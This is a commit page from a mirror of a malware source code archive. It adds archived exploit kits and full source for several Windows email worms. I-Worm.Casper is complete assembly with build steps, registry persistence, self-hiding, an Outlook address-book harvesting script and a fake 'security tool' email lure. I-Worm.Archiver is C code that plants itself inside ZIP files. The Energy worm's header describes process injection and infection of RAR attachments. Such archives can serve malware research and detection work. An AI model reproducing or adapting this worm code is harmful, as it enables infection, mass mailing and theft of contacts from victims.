mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-29 13:35:07 +00:00
Add files via upload
This commit is contained in:
parent
b7054dfedf
commit
4528c5fb12
BIN
Win32/Adrena.7z
Normal file
BIN
Win32/Adrena.7z
Normal file
Binary file not shown.
BIN
Win32/Backdoor.Win32.Aryan.7z
Normal file
BIN
Win32/Backdoor.Win32.Aryan.7z
Normal file
Binary file not shown.
BIN
Win32/ExploitKit.0x88.7z
Normal file
BIN
Win32/ExploitKit.0x88.7z
Normal file
Binary file not shown.
BIN
Win32/ExploitKit.Blackhole.A.7z
Normal file
BIN
Win32/ExploitKit.Blackhole.A.7z
Normal file
Binary file not shown.
BIN
Win32/ExploitKit.Blackhole.B.7z
Normal file
BIN
Win32/ExploitKit.Blackhole.B.7z
Normal file
Binary file not shown.
BIN
Win32/ExploitKit.BleedingLife.B.7z
Normal file
BIN
Win32/ExploitKit.BleedingLife.B.7z
Normal file
Binary file not shown.
BIN
Win32/ExploitKit.CrimePack.3.1.3.7z
Normal file
BIN
Win32/ExploitKit.CrimePack.3.1.3.7z
Normal file
Binary file not shown.
BIN
Win32/ExploitKit.DemonHunter.7z
Normal file
BIN
Win32/ExploitKit.DemonHunter.7z
Normal file
Binary file not shown.
BIN
Win32/ExploitKit.Eleonore.1.4.4.7z
Normal file
BIN
Win32/ExploitKit.Eleonore.1.4.4.7z
Normal file
Binary file not shown.
1232
Win32/I-Worm.Alizee.asm
Normal file
1232
Win32/I-Worm.Alizee.asm
Normal file
File diff suppressed because it is too large
Load Diff
227
Win32/I-Worm.Archiver.c
Normal file
227
Win32/I-Worm.Archiver.c
Normal file
@ -0,0 +1,227 @@
|
||||
/*
|
||||
Name : I-Worm.Archiver
|
||||
Author : PetiK
|
||||
Date : Mai 10th 2002 -
|
||||
Language : C++
|
||||
|
||||
Comments : Infect ZIP files which run with WINZIP.
|
||||
|
||||
We can also to do the same think with PowerArchiver:
|
||||
powerarc -a -c4 archive.zip virus.exe
|
||||
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <mapi.h>
|
||||
|
||||
#pragma argused
|
||||
#pragma inline
|
||||
|
||||
|
||||
char filen[100],copyn[100],copyreg[100],windir[100],sysdir[100],inzip[256],fsubj[50];
|
||||
char *fnam[]={"news","support","info","newsletter","webmaster"};
|
||||
char *fmel[]={"@yahoo.com","@hotmail.com","@symantec.com","@microsoft.com","@avp.ch","@viruslist.com"};
|
||||
LPSTR run="Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||
SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
|
||||
char attname[]="news_xxxxxxxx.exe";
|
||||
LPTSTR cmdLine,ptr;
|
||||
BOOL installed;
|
||||
BYTE desktop[50],favoris[50],personal[50],winzip[50];
|
||||
DWORD sizdesktop=sizeof(desktop),sizfavoris=sizeof(favoris),
|
||||
sizpersonal=sizeof(personal),sizwinzip=sizeof(winzip);
|
||||
DWORD type=REG_SZ;
|
||||
long i;
|
||||
|
||||
LHANDLE session;
|
||||
MapiMessage *mes;
|
||||
MapiRecipDesc from;
|
||||
char messId[512],mname[50],maddr[30];
|
||||
HINSTANCE hMAPI;
|
||||
|
||||
HKEY hReg;
|
||||
WIN32_FIND_DATA ffile;
|
||||
|
||||
void infzip(char *);
|
||||
|
||||
ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
|
||||
ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);
|
||||
ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
|
||||
ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);
|
||||
ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);
|
||||
ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);
|
||||
|
||||
int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
|
||||
{
|
||||
|
||||
GetModuleFileName(hInst,filen,100);
|
||||
GetSystemDirectory((char *)sysdir,100);
|
||||
GetWindowsDirectory((char *)copyn,100);
|
||||
strcpy(windir,copyn);
|
||||
strcat(copyn,"\\Archiver.exe");
|
||||
|
||||
installed=FALSE;
|
||||
cmdLine=GetCommandLine();
|
||||
if(cmdLine) {
|
||||
for(ptr=cmdLine;ptr[0]!='-' && ptr[1]!=0;ptr++);
|
||||
if(ptr[0]=='-' && ptr[1]!=0) {
|
||||
switch(ptr[1]) {
|
||||
default:
|
||||
break;
|
||||
case 'i':
|
||||
installed=TRUE;
|
||||
break;
|
||||
case 'p':
|
||||
ShellAbout(0,"I-Worm.Archiver","Copyright (c)2002 - PetiKVX",0);
|
||||
MessageBox(NULL,"This new Worm was coded by PetiK.\nFrance - (c)2002",
|
||||
"I-Worm.Archiver",MB_OK|MB_ICONINFORMATION);
|
||||
ExitProcess(0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(!installed) {
|
||||
CopyFile(filen,copyn,FALSE);
|
||||
strcpy(copyreg,copyn);
|
||||
strcat(copyreg," -i");
|
||||
/* RegOpenKeyEx(HKEY_LOCAL_MACHINE,run,0,KEY_WRITE,&hReg);
|
||||
RegSetValueEx(hReg,"Archiver",0,REG_SZ,(BYTE *)copyreg,100);
|
||||
RegCloseKey(hReg); */
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);
|
||||
RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);
|
||||
RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);
|
||||
RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);
|
||||
RegCloseKey(hReg);
|
||||
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\windows\\CurrentVersion\\App Paths\\winzip32.exe",0,KEY_QUERY_VALUE,&hReg);
|
||||
RegQueryValueEx(hReg,NULL,0,&type,winzip,&sizwinzip);
|
||||
RegCloseKey(hReg);
|
||||
|
||||
if(strlen(winzip)!=0) {
|
||||
infzip(windir);
|
||||
infzip(sysdir);
|
||||
infzip(desktop);
|
||||
infzip(personal);
|
||||
infzip(favoris);
|
||||
infzip("C:\\");
|
||||
}
|
||||
|
||||
/*
|
||||
_asm
|
||||
{
|
||||
call @wininet
|
||||
db "WININET.DLL",0
|
||||
@wininet:
|
||||
call LoadLibrary
|
||||
test eax,eax
|
||||
jz end_asm
|
||||
mov ebp,eax
|
||||
call @inetconnect
|
||||
db "InternetGetConnectedState",0
|
||||
@inetconnect:
|
||||
push ebp
|
||||
call GetProcAddress
|
||||
test eax,eax
|
||||
jz end_wininet
|
||||
mov edi,eax
|
||||
verf:
|
||||
push 0
|
||||
push Tmp
|
||||
call edi
|
||||
dec eax
|
||||
jnz verf
|
||||
|
||||
end_wininet:
|
||||
push ebp
|
||||
call FreeLibrary
|
||||
end_asm:
|
||||
jmp end_all_asm
|
||||
|
||||
Tmp dd 0
|
||||
|
||||
end_all_asm:
|
||||
}
|
||||
|
||||
|
||||
hMAPI=LoadLibrary("MAPI32.DLL");
|
||||
(FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");
|
||||
(FARPROC &)mLogon=GetProcAddress(hMAPI, "MAPILogon");
|
||||
(FARPROC &)mLogoff=GetProcAddress(hMAPI, "MAPILogoff");
|
||||
(FARPROC &)mFindNext=GetProcAddress(hMAPI, "MAPIFindNext");
|
||||
(FARPROC &)mReadMail=GetProcAddress(hMAPI, "MAPIReadMail");
|
||||
(FARPROC &)mFreeBuffer=GetProcAddress(hMAPI, "MAPIFreeBuffer");
|
||||
mLogon(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&session);
|
||||
if(mFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS) {
|
||||
do {
|
||||
if(mReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,NULL,&mes)==SUCCESS_SUCCESS) {
|
||||
strcpy(mname,mes->lpOriginator->lpszName);
|
||||
strcpy(maddr,mes->lpOriginator->lpszAddress);
|
||||
|
||||
for(i=0;i<8;i++)
|
||||
attname[i+5]='1'+(char)(9*rand()/RAND_MAX);
|
||||
fsubj[0]=0;
|
||||
wsprintf(fsubj,"News from %s%s",fnam[GetTickCount()%4],fmel[GetTickCount()%5]);
|
||||
|
||||
|
||||
mes->ulReserved=0;
|
||||
mes->lpszSubject=fsubj;
|
||||
mes->lpszNoteText="This is some news send by our firm about security.\n"
|
||||
"Please read by clicking on attached file.\n"
|
||||
"\tBest Regards";
|
||||
mes->lpszMessageType=NULL;
|
||||
mes->lpszDateReceived=NULL;
|
||||
mes->lpszConversationID=NULL;
|
||||
mes->flFlags=MAPI_SENT;
|
||||
mes->lpOriginator->ulReserved=0;
|
||||
mes->lpOriginator->ulRecipClass=MAPI_ORIG;
|
||||
mes->lpOriginator->lpszName=mes->lpRecips->lpszName;
|
||||
mes->lpOriginator->lpszAddress=mes->lpRecips->lpszAddress;
|
||||
mes->nRecipCount=1;
|
||||
mes->lpRecips->ulReserved=0;
|
||||
mes->lpRecips->ulRecipClass=MAPI_TO;
|
||||
mes->lpRecips->lpszName=mname;
|
||||
mes->lpRecips->lpszAddress=maddr;
|
||||
mes->nFileCount=1;
|
||||
mes->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
|
||||
memset(mes->lpFiles, 0, sizeof(MapiFileDesc));
|
||||
mes->lpFiles->ulReserved=0;
|
||||
mes->lpFiles->flFlags=NULL;
|
||||
mes->lpFiles->nPosition=-1;
|
||||
mes->lpFiles->lpszPathName=filen;
|
||||
mes->lpFiles->lpszFileName=attname;
|
||||
mes->lpFiles->lpFileType=NULL;
|
||||
mSendMail(session, NULL, mes, NULL, NULL);
|
||||
}
|
||||
}while(mFindNext(session,0,NULL,messId,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS);
|
||||
free(mes->lpFiles);
|
||||
mFreeBuffer(mes);
|
||||
mLogoff(session,0,0,0);
|
||||
FreeLibrary(hMAPI);
|
||||
}
|
||||
|
||||
*/
|
||||
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
void infzip(char *folder)
|
||||
{
|
||||
register bool abc=TRUE;
|
||||
register HANDLE fh;
|
||||
if(strlen(folder)!=0) {
|
||||
SetCurrentDirectory(folder);
|
||||
fh=FindFirstFile("*.zip",&ffile);
|
||||
if(fh!=INVALID_HANDLE_VALUE) {
|
||||
while(abc) {
|
||||
inzip[0]=0;
|
||||
wsprintf(inzip,"%s -a -r %s %s",winzip,ffile.cFileName,copyn);
|
||||
WinExec(inzip,1);
|
||||
abc=FindNextFile(fh,&ffile);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
1555
Win32/I-Worm.BigBrother.asm
Normal file
1555
Win32/I-Worm.BigBrother.asm
Normal file
File diff suppressed because it is too large
Load Diff
510
Win32/I-Worm.Casper.asm
Normal file
510
Win32/I-Worm.Casper.asm
Normal file
@ -0,0 +1,510 @@
|
||||
;--- dllz.def
|
||||
IMPORTS
|
||||
|
||||
WININET.InternetGetConnectedState
|
||||
SHLWAPI.SHSetValueA
|
||||
;---
|
||||
|
||||
|
||||
comment #
|
||||
Name : I-Worm.Casper
|
||||
Author : PetiK
|
||||
Date : August 17th - August 24th
|
||||
Size : 6144 byte (compressed with UPX tool)
|
||||
|
||||
Action : Copy itself to
|
||||
* WINDOWS\MsWinsock32.exe
|
||||
Add in the key HKLM\Software\Microsoft\Windows\CurrentVersion\Run the value
|
||||
* Winsock32 1.0 = WINDOWS\MsWinsock32.exe
|
||||
|
||||
|
||||
To build the worm:
|
||||
tasm32 /ml /m9 Casper
|
||||
tlink32 -Tpe -c -x -aa Casper,,,import32,dllz
|
||||
upx -9 Casper.exe
|
||||
|
||||
To delete the worm:
|
||||
del %windir%\MsWinsock32.exe
|
||||
del %windir%\CasperEMail.txt
|
||||
|
||||
dllz.def file:
|
||||
IMPORTS
|
||||
|
||||
WININET.InternetGetConnectedState
|
||||
SHLWAPI.SHSetValueA
|
||||
|
||||
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
callx macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include useful.inc
|
||||
|
||||
DEBUT:
|
||||
Main_Worm:
|
||||
|
||||
call Hide_Worm
|
||||
call Copy_Worm
|
||||
call Check_Wsock
|
||||
call Prepare_Spread_Worm
|
||||
|
||||
Connected_:
|
||||
push 00h
|
||||
push offset Tmp
|
||||
callx InternetGetConnectedState
|
||||
dec eax
|
||||
jnz Connected_
|
||||
|
||||
mov edi,offset casper_mail
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"saC\"
|
||||
stosd
|
||||
mov eax,"Erep"
|
||||
stosd
|
||||
mov eax,"liaM"
|
||||
stosd
|
||||
mov eax,"txt."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
|
||||
call Spread_Worm
|
||||
|
||||
Hide_Worm proc
|
||||
pushad
|
||||
@pushsz "Kernel32.dll"
|
||||
callx GetModuleHandleA
|
||||
xchg eax,ecx
|
||||
jecxz End_Hide
|
||||
@pushsz "RegisterServiceProcess"
|
||||
push ecx
|
||||
callx GetProcAddress
|
||||
xchg eax,ecx
|
||||
jecxz End_Hide
|
||||
push 1
|
||||
push 0
|
||||
call ecx
|
||||
End_Hide:
|
||||
popad
|
||||
ret
|
||||
Hide_Worm endp
|
||||
|
||||
Check_Wsock proc
|
||||
Search_Wsock:
|
||||
push 50
|
||||
mov edi,offset wsock_file
|
||||
push edi
|
||||
callx GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"osW\"
|
||||
stosd
|
||||
mov eax,"23kc"
|
||||
stosd
|
||||
mov eax,"lld."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
|
||||
push offset wsock_file
|
||||
callx GetFileAttributesA
|
||||
cmp eax,20h
|
||||
jne End_Wsock
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push 03h
|
||||
push eax
|
||||
push eax
|
||||
push 80000000h or 40000000h
|
||||
push offset wsock_file
|
||||
callx CreateFileA
|
||||
mov wsckhdl,eax
|
||||
|
||||
File_Mapping:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push eax
|
||||
push wsckhdl
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
jz Close_File
|
||||
mov wsckmap,eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 06h
|
||||
push wsckmap
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
jz Close_Map_File
|
||||
mov esi,eax
|
||||
mov wsckview,eax
|
||||
|
||||
Old_Infect:
|
||||
mov verif,0
|
||||
cmp word ptr [esi],"ZM"
|
||||
jne UnmapView_File
|
||||
cmp byte ptr [esi+12h],"z"
|
||||
je Infected_By_Happy
|
||||
cmp word ptr [esi+38h],"ll"
|
||||
je Infected_By_Icecubes
|
||||
jmp UnmapView_File
|
||||
|
||||
Infected_By_Happy:
|
||||
push 10h
|
||||
push offset warning
|
||||
@pushsz "I-Worm.Happy coded by Spanska"
|
||||
push 00h
|
||||
callx MessageBoxA
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
Infected_By_Icecubes:
|
||||
push 10h
|
||||
push offset warning
|
||||
@pushsz "I-Worm.Icecubes coded by f0re"
|
||||
push 00h
|
||||
callx MessageBoxA
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
Already_Infected:
|
||||
inc verif
|
||||
jmp UnmapViewOfFile
|
||||
|
||||
UnmapView_File:
|
||||
push wsckview
|
||||
callx UnmapViewOfFile
|
||||
Close_Map_File:
|
||||
push offset wsckmap
|
||||
callx CloseHandle
|
||||
Close_File:
|
||||
push wsckhdl
|
||||
callx CloseHandle
|
||||
End_Wsock:
|
||||
ret
|
||||
Check_Wsock endp
|
||||
|
||||
Copy_Worm proc
|
||||
pushad
|
||||
Original_Name:
|
||||
push 50
|
||||
mov esi,offset original
|
||||
push esi
|
||||
push 0
|
||||
callx GetModuleFileNameA
|
||||
|
||||
Copy_Name:
|
||||
mov edi,offset copy_name
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'WsM\'
|
||||
stosd
|
||||
mov eax,'osni'
|
||||
stosd
|
||||
mov eax,'23kc'
|
||||
stosd
|
||||
mov eax,'exe.'
|
||||
stosd
|
||||
pop edi
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
callx CopyFileA
|
||||
|
||||
Reg_Registered:
|
||||
push 08h
|
||||
push edi
|
||||
push 01h
|
||||
@pushsz "Winsock32"
|
||||
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
push 80000002h
|
||||
callx SHSetValueA
|
||||
push 08h
|
||||
@pushsz "PetiK - France - (c)2001"
|
||||
push 01h
|
||||
@pushsz "Author"
|
||||
@pushsz "Software\CasperWorm"
|
||||
push 80000001h
|
||||
callx SHSetValueA
|
||||
push 08h
|
||||
@pushsz "1.00"
|
||||
push 01h
|
||||
@pushsz "Version"
|
||||
@pushsz "Software\CasperWorm"
|
||||
push 80000001h
|
||||
callx SHSetValueA
|
||||
popad
|
||||
ret
|
||||
Copy_Worm endp
|
||||
|
||||
|
||||
Prepare_Spread_Worm proc
|
||||
pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
@pushsz "C:\CasperMail.vbs"
|
||||
callx CreateFileA
|
||||
xchg edi,eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push VBSSIZE
|
||||
push offset vbsd
|
||||
push edi
|
||||
callx WriteFile
|
||||
push edi
|
||||
callx CloseHandle
|
||||
push 1
|
||||
@pushsz "wscript C:\CasperMail.vbs"
|
||||
callx WinExec
|
||||
push 3 * 1000
|
||||
callx Sleep
|
||||
@pushsz "C:\CasperMail.vbs"
|
||||
callx DeleteFileA
|
||||
popad
|
||||
ret
|
||||
Prepare_Spread_Worm endp
|
||||
|
||||
Spread_Worm:
|
||||
pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
push offset casper_mail
|
||||
callx CreateFileA
|
||||
inc eax
|
||||
test eax,eax
|
||||
je End_Spread_worm
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 02h
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
je F1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
je F2
|
||||
xchg eax,esi
|
||||
|
||||
push 00h
|
||||
push ebx
|
||||
callx GetFileSize
|
||||
cmp eax,03h
|
||||
jbe F3
|
||||
|
||||
call Scan_Mail
|
||||
|
||||
F3: push esi
|
||||
callx UnmapViewOfFile
|
||||
F2: push ebp
|
||||
callx CloseHandle
|
||||
F1: push ebx
|
||||
callx CloseHandle
|
||||
End_Spread_worm:
|
||||
popad
|
||||
ret
|
||||
|
||||
Scan_Mail:
|
||||
pushad
|
||||
xor edx,edx
|
||||
mov edi,offset m_addr
|
||||
push edi
|
||||
p_c: lodsb
|
||||
cmp al," "
|
||||
je car_s
|
||||
cmp al,0dh
|
||||
je entr1
|
||||
cmp al,0ah
|
||||
je entr2
|
||||
cmp al,"#"
|
||||
je f_mail
|
||||
cmp al,"@"
|
||||
je not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_c
|
||||
car_s: inc esi
|
||||
jmp p_c
|
||||
entr1: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx
|
||||
je Scan_Mail
|
||||
call Send_Mail
|
||||
jmp Scan_Mail
|
||||
entr2: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
jmp Scan_Mail
|
||||
f_mail:
|
||||
FIN: push 00h
|
||||
callx ExitProcess
|
||||
|
||||
Send_Mail:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push [MAPIHdl]
|
||||
callx MAPISendMail
|
||||
ret
|
||||
|
||||
|
||||
.data
|
||||
; ===== Main_Worm =====
|
||||
wsock_file db 50 dup (0)
|
||||
|
||||
; ===== Check_Wsock =====
|
||||
wsckhdl dd 0
|
||||
wsckmap dd 0
|
||||
wsckview dd 0
|
||||
PEHeader dd 0
|
||||
warning db "Warning : You're infected by",00h
|
||||
verif dd ?
|
||||
|
||||
; ===== Copy_Worm =====
|
||||
original db 50 dup (0)
|
||||
copy_name db 50 dup (0)
|
||||
|
||||
; ===== Prepare_Spread_Worm =====
|
||||
octets dd ?
|
||||
|
||||
; ===== Spread_Worm =====
|
||||
m_addr db 128 dup (?)
|
||||
casper_mail db 50 dup (0)
|
||||
mail_name db "Casper_Tool.exe",00h
|
||||
MAPIHdl dd 0
|
||||
Tmp dd 0
|
||||
|
||||
subject db "Casper Tool Protect 1.00",00h
|
||||
body db "Hi,",0dh,0ah
|
||||
db "Look at this attachment...",0dh,0ah
|
||||
db "This freeware alert you if you infected by "
|
||||
db "I-Worm.Happy and I-Worm.Icecubes.",0dh,0ah
|
||||
db "These worms spread with the file WSOCK32.DLL in the SYSTEM path.",0dh,0ah
|
||||
db "The tool Casper v.1.00 scans this specific file and displays a message "
|
||||
db "if it infected.",0dh,0ah,0dh,0ah,0dh,0ah
|
||||
db 09h,09h,09h,"Good Bye and have a nice day",00h
|
||||
|
||||
Message dd ?
|
||||
dd offset subject
|
||||
dd offset body
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd 2
|
||||
dd offset MsgFrom
|
||||
dd 1
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset Attach
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1
|
||||
dd offset m_addr
|
||||
dd offset m_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
Attach dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd offset original
|
||||
dd offset mail_name
|
||||
dd ?
|
||||
|
||||
vbsd:
|
||||
db 'On Error Resume Next',0dh,0ah
|
||||
db 'Set Casper = CreateObject("Outlook.Application")',0dh,0ah
|
||||
db 'Set L = Casper.GetNameSpace("MAPI")',0dh,0ah
|
||||
db 'Set fs=CreateObject("Scripting.FileSystemObject")',0dh,0ah
|
||||
db 'Set c=fs.CreateTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt")',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'For Each M In L.AddressLists',0dh,0ah
|
||||
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
|
||||
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
|
||||
db 'Set P = M.AddressEntries(O)',0dh,0ah
|
||||
db 'Set c=fs.OpenTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine P.Address',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'Set c=fs.OpenTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine "#"',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
VBSSIZE = $-vbsd
|
||||
|
||||
MAX_PATH equ 260
|
||||
FILETIME struct
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName dd MAX_PATH (?)
|
||||
cAlternateFileName db 13 dup (?)
|
||||
db 3 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
Search WIN32_FIND_DATA <>
|
||||
|
||||
end DEBUT
|
||||
end
|
1598
Win32/I-Worm.Chainsaw.asm
Normal file
1598
Win32/I-Worm.Chainsaw.asm
Normal file
File diff suppressed because it is too large
Load Diff
727
Win32/I-Worm.Energy.asm
Normal file
727
Win32/I-Worm.Energy.asm
Normal file
@ -0,0 +1,727 @@
|
||||
|
||||
COMMENT #
|
||||
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ I-Worm.Energy ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ by Benny/29A ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
hey all...
|
||||
ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
it was one b0ring sunday, when I decided to code some small and kewl virus...
|
||||
I was tired from coding large projectz (HIV, XTC)... I wanted to code one
|
||||
worm with some nice ideaz, like the Win2k.Stream.
|
||||
|
||||
and here it is. after some meditationz, full of experiencez from psychedelics
|
||||
I decided to call this worm "Energy"... it is very small worm, spreading via
|
||||
RAR filez. it can parse all processes, hook there MAPISendMail API procedure
|
||||
and infect all attached RAR filez in a message by dropping itself to there.
|
||||
very similar technique of the process'es address space manipulationz is
|
||||
described in my article "Multi-process residency" and Win32.HIV virus. surely
|
||||
it can't work on Win95/98 systemz. it worx on Windows 2000 OS, and (perhaps)
|
||||
also on earlier versionz of Windows NT - but I don't know, I haven't tested it.
|
||||
|
||||
it can stay resident in memory as a service, by standard API callz, valid only
|
||||
in NT systemz. while infecting the RAR archivez it addz itself to there under
|
||||
the "SETUP.EXE" filename, containing also the standard setup icon. I tried to
|
||||
optimize the source a bit... I know the worm is not super-small, but I it is
|
||||
resident heavilly armoured very effective tiny mail-spreading worm.
|
||||
|
||||
|
||||
the scheme of execution:
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
after execution:
|
||||
- anti-* stuff
|
||||
- if initialized by SCM, run as a service process
|
||||
- copy worm to system directory as "ENERGY.EXE"
|
||||
- register worm as service process and run it everytime the OS will start
|
||||
- enum processes, find MAPI32.dll there and hook MAPSendMail (using many
|
||||
trics)
|
||||
- wait one minute and again
|
||||
|
||||
hook_procedure:
|
||||
- parse embedded filez and search for RAR filez.
|
||||
- infect them by worm file: SETUP.EXE, mark as read-only (already-infected
|
||||
mark).
|
||||
|
||||
|
||||
the worm is encrypted/compressed by "tElock, version 0.51", one very nice
|
||||
utility for armouring executable filez. this protector containz many nice
|
||||
anti-* featurez. that's why I decided to use it. and also becoz I think guyz at
|
||||
AVP can't handle this one.
|
||||
|
||||
it is possible that worm containz some bugz. yeah, but I don't care... I'm glad
|
||||
I was able to finish it in 2 dayz and that it was not b0ring. I had a fun.
|
||||
|
||||
|
||||
|
||||
If you would like to consult anything with me, feel free to contact me...
|
||||
|
||||
|
||||
|
||||
(c) 14th November 2000 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
Czech Republic ³ Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
@ benny_29a@privacyx.com ³
|
||||
@ http://benny29a.cjb.net ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
#
|
||||
|
||||
|
||||
.586p
|
||||
.model flat ;blablabla
|
||||
|
||||
extrn GetLastError:PROC ;needed APIz
|
||||
extrn EnumProcesses:PROC
|
||||
extrn OpenProcess:PROC
|
||||
extrn VirtualProtect:PROC
|
||||
extrn VirtualAllocEx:PROC
|
||||
extrn VirtualFreeEx:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn CreateRemoteThread:PROC
|
||||
extrn WriteProcessMemory:PROC
|
||||
extrn Sleep:PROC
|
||||
extrn WaitForSingleObject:PROC
|
||||
extrn GetModuleHandleA:PROC
|
||||
extrn GetProcAddress:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn GetModuleFileNameA:PROC
|
||||
extrn GetFileSize:PROC
|
||||
extrn ReadFile:PROC
|
||||
extrn VirtualFree:PROC
|
||||
extrn VirtualAlloc:PROC
|
||||
extrn SetFilePointer:PROC
|
||||
extrn SetFileAttributesA:PROC
|
||||
